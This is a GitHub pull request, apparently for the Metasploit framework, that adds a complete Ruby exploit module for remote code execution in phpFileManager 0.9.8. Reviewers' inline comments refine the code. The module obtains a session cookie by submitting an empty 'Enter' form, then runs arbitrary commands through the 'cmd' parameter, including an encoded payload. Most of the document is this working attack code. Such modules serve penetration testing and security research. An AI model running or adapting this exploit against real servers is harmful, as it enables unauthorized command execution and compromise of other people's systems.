Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add phpFileManager 0.9.8 Remote Code Execution #6303

Merged
merged 9 commits into from
Dec 8, 2015
118 changes: 118 additions & 0 deletions modules/exploits/multi/http/phpfilemanager_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'phpFileManager 0.9.8 Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in phpFileManager
0.9.8 which is a filesystem management tool on a single file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hyp3rlinx', # initial discovery
'Jay Turla' # msf
],
'References' =>
[
[ 'EDB', '37709' ],
[ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Targets' =>
[
['phpFileManager / Unix', { 'Platform' => 'unix' } ],
['phpFileManager / Windows', { 'Platform' => 'win' } ]
],
'DisclosureDate' => 'Aug 28 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']),
],self.class)
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not call http_send_command here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

good idea :) I will follow up you with that then

txt = Rex::Text.rand_text_alpha(8)
res = http_send_command("echo #{txt}")

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

now using the http_send_command @OJ :)

Tried to check it and works pretty fine
image

if res and res.body =~ /#{txt}/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

&& instead of and

return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def push
uri = normalize_uri(target_uri.path.to_s)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No need .to_s here.


# To push the Enter button
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'frame' => '3',
'pass' => '' # yep this should be empty
}
})

if res.nil?
vprint_error("#{peer} - Connection timed out")
fail_with(Failure::Unknown, "Failed to trigger the Enter button")
end

location = res.headers['Location']

if res && res.headers && res.code == 302 && location =~ /index.php/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't recommend leave a hardcoded (location =~ /index.php/) value because if the file is different from index.php (eg "index.php" renamed to "test.php") the exploit will not work.

print_good("#{peer} - Logged in to the file manager")
cookie = res.get_cookies
cookie
else
fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
return
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This return is unnecessary, if this condition run, fail_with will return by default.

end
end

def http_send_command(cmd)
cookie = push()
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think interesting check if the cookie variable is not empty too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@espreto, If I get it correctly, I should have fail_with with it?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If push() fails hard when it can't get a cookie, then checking the return here isn't necessary.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

copy that, I won't add it then because there is already fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No need .to_s here.

'cookie' => cookie,
'vars_get' => {
'action' => '6',
'cmd' => cmd
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Am I right in thinking that this command injection vulnerability is actually a feature that the software provides to users?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, you are definitely right :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Given line 85, would it be more correct to label this module as an auth bypass instead of an RCE then? :)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

But there is no authentication. It is just a button with a hidden field pass and action. The button just says "Enter" and then it gives you a cookie after submitting the button. If you don't do this you won't be able to access the file manager :) kinda weird actually lol

}
})
unless res && res.code == 200
fail_with(Failure::Unknown, "Failed to execute the command.")
end
res
end

def exploit
http_send_command(payload.encoded)
end
end